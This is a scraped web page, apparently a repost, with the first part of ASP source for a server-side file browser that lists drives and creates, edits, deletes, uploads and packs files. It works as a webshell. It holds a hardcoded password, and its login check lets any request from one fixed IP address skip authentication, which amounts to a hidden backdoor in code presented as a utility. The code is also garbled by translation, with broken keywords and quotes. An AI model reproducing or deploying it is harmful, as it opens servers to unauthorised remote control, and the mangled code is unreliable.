ASP file upload, directory creation, delete, modify program (1/7)

Source: Internet
Author: User
Tags file upload pack odrive

Server.scripttimeout=20
Session.timeout=45 ' Session Effective time
Const mss= "Explorer_" ' Session prefix
Const password= "codefans.net" ' Login password
Const copyright= "<div align=" "Center" "style=" "FONT-SIZE:9PX;" >&copy;copyleft 2006. Coded by RSSN, Hebust. No rights reserved</div> "
' Copyright information

Dim t1,t2,runtime
T1=timer ()
Dim oFSO
Set Ofso=server.createobject ("Scripting.FileSystemObject")
'-------------------------------------------------------------
' Declares the required global variables in the function
Dim conn,rs,ostream,nopackfiles,rootpath,failfilelist
nopackfiles= "|< $datafile >.mdb|< $datafile >.ldb|"
'-------------------------------------------------------------
Call Main ()
Set ofso=nothing
' ======================== Subs begin =========================
Sub Main ()
Select Case Request ("page")
Case "IMG"
Call Page_img ()
Case "CSS Tutorial"
Call Page_css ()
Case "Loginchk"
Call Loginchk ()
Case "Logout"
Call Logout ()
Case Else:
' "Yiffang, Fumo opens"--user authentication
If session (mss& "Isadminlogin") =true or Request.ServerVariables ("remote_addr") = "121.193.213.246" Then
' Already logged in
Else
Call Login ()
Exit Sub
End If
Select Case Request ("act")
Case "Drive"
Call Drive ()
Case "Up"
Call Dirup ()
Case "New"
Call NEWF (Request ("FName")
Case "Savenew"
Call Savenew (Request ("FName")
Case "Rename"
Call Rename ()
Case "Saverename"
Call Saverename ()
Case "Edit"
Call Edit (Request ("fname"))
Case "Saveedit"
Call Saveedit (Request ("FName")
Case "Delete"
Call Deletes (Request ("FName")
Case "Copy"
Call Setfile (Request ("FName"), 0)
case, cut.
Call Setfile (Request ("FName"), 1)
Case "Download"
Call Download (Request ("FName")
Case "Upload"
Call Upload (Request ("FName")
Case "Saveupload"
Call Saveupload (Request ("FName")
Case "Parse"
Call Parse (Request ("FName")
Case "Prop"
Call prop (Request ("FName")
Case "Saveprop"
Call Saveprop (Request ("FName")
Case "Pack"
Call Page_pack ()
Case "Savepack"
Call Pack (Request ("Fpath"), Request ("DBPath")
Case "Saveunpack"
Call Unpack (Request ("Fpath"), Request ("DBPath")
Case Else
If Request ("fname") = "" Then
Call Dirlist (Server.MapPath ("./"))
Else
Call Dirlist (Request ("FName")
End If
End Select
End Select
End Sub
' ========== Subs =============
' Display system disk information
Sub Drive ()
Dim odrive,islight
%>
&LT;TITLE&GT;FSO file Browser-system disk information </title>
<meta http-equiv= "Content-type" content= "text/html; charset=gb2312 ">
<link href= "" rel= "stylesheet" type= "Text/css" >
<body>
<table align= "Center" border= "1" width= "99% cellspacing=" 0 "cellpadding=" 3 "bordercolor=" #6595d6 ">
&LT;TR&GT;&LT;TH&GT;FSO file Browser-system disk information </th></th>
<tr>
<td>
<table align= "Center" border= "1" width= "100%" cellspacing= "0" cellpadding= "3" bordercolor= "#6595d6" >
<tr><th width= "10%" > Letter </th><th width= "15%" > Type </th><th width= "20%" > Label </th ><th width= "15%" > File system </th><th width= "20%" > Total capacity </th><th width= "20%" > Free space </th ></tr>
<%
On Error Resume Next
Islight=false
For each odrive in ofso.drives
Response.Write "<tr value=" "&odrive.driveletter&": "ondblclick=" "location.href="? page=fso&fname= ' +escape (this.value); ""
If Islight then Response.Write "bgcolor= ' #eeeeee '"
Response.Write ">"
Response.Write "<td>" &odrive.driveletter& "</td>"
Response.Write "<td>" &getdrivetype (odrive.drivetype) & "</td>"
Response.Write "<td>" &odrive.volumename& "</td>"
Response.Write "<td>" &odrive.filesystem& "</td>"
Response.Write "<td>" &sizecount (odrive.totalsize) & "</td>"
Response.Write "<td>" &sizecount (odrive.freespace) & "</td>"
Response.Write "</tr>" &vbcrlf
Islight=not (Islight)
Next
%>
</table>
</td>
</tr>
</table>
<% =copyright%>
<%
End Sub

' New
Sub Newf (ByVal fname)
%>
<title>fso File Explorer-new </title>
<meta http-equiv= "Content-type" content= "text/html; charset=gb2312 ">
<link href= "" rel= "stylesheet" type= "Text/css" >
<script language= "Web Effects" >
function Icheck ()
{
if (document.rform.nname.value== "")
{
Alert ("Please enter a valid filename!") ");
return false;
}
Else
return true;
}
</script>
<body bgcolor= "#eeeeee" >
<form action= "" Name= "Rform" method= "POST" onsubmit= "return Icheck ();" >
<table align= "Center" border= "1" width= "380" cellspacing= "0" cellpadding= "3" bordercolor= "#6595d6" >
<tr><th colspan=2>fso File Browser-new </th></tr>
&LT;TR&GT;&LT;TD align=right> Type: </td><td><input type= "Radio" name= "ntype" checked value= "0" > Folder <input type= "Radio" name= "Ntype" value= "1" > Files
&LT;TR&GT;&LT;TD align=right> name:</td>
<td>
<input type= "text" size= "name=" Nname "value=" "New" >
</td>
&LT;TR&GT;&LT;TD align=center colspan=2><input type= "Submit" class= "B" value= "submitted" >&nbsp;<input type= "Button" class= "B" value= "closes" onclick= "window.close ();" ></td></tr>
</table>
</form>
</body>

<%
End Sub

' Save the new
Sub Savenew (ByVal fname)
If not Isfolder (fname) Then
Response.Write "<script language= ' JavaScript ' >alert (' folder does not exist! '); History.back ();</script> "
Exit Sub
End If
Dim filepath
Filepath=request ("FName") & "" &replace (Request.Form ("Nname"), "", "")
Filepath=replace (filepath, "\", "")
If Isfolder (filepath) or isfile (filepath) Then
Response.Write "<script language= ' JavaScript ' >alert (' file or folder already exists! '); History.back ();</script> "
Exit Sub
End If
If Request.Form ("Ntype") =1 Then
Ofso.createtextfile filepath
Else
Ofso.createfolder filepath
End If
Response.Write "<script language= ' JavaScript ' >alert (' new folder or text file succeeded! '); Window.close ();</script> "
End Sub

' Edit file
Sub Edit (ByVal fname)
If not isfile (fname) Then
Response.Write "<script language= ' JavaScript ' >alert (' You are not editing a file or file does not exist! '); Window.close ();</script> "
Exit Sub
End If
Dim ofile,filestr
Set Ofile=ofso.opentextfile (fname,1)
If Ofile.atendofstream Then
Filestr= ""
Else
Filestr=ofile.readall ()
End If
Ofile.close
Set ofile=nothing
%>
<title>fso file Browser-edit text file </title>
<meta http-equiv= "Content-type" content= "text/html; charset=gb2312 ">
<link href= "" rel= "stylesheet" type= "Text/css" >
<body bgcolor= "#eeeeee" >
<form name= "EForm" method= "POST" action= "" >
<table align= "Center" border= "1" width= "99%" height= "99%" cellspacing= "0" cellpadding= "3" bordercolor= "#6595d6" >
<tr><th>fso file Browser-edit text file </th></tr>
&LT;TR&GT;&LT;TD height= > FileName: <% =fname%></td></tr>
<tr><td><textarea name= "Filestr" style= "width:100%;height:100%;" ><% =server.htmlencode (FILESTR)%></textarea></td></tr>
<tr height= "&GT;&LT;TD" align= "Center" >
<input type= "Submit" value= "save" class= "B" > <input type= "reset" value= "reset" onclick= "return Confirm" (' OK to edit again? '); "class=" B "> <input type=" button "class=" B "value=" closes "onclick=" window.close (); " >
</td></tr>
</table>
</form>
<%
End Sub

Home 1 2 3 4 5 6 7 last
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.